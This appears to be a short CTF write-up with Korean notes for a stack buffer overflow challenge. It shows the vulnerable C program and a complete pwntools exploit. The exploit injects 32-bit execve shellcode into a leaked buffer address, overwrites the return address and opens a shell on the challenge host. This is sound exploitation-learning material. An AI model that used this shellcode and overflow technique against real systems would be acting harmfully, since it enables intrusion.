code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
- 보호기법은 아무것도 걸려있지 않다.
- 그러면
buf
에 shellcode를 담고, return address를 buf
로 되돌아가도록 만들면 되겠다. 32비트 환경인 것을 기억하자.
exploit
from pwn import *
p = remote('host3.dreamhack.games', 10501)
context.arch = 'i386'
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
p.recvuntil(b'= (')
buf_addr = int(p.recvuntil(b')')[:-1], 16)
p.recvline()
payload = shellcode + b'A' * (0x84 - len(shellcode))
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()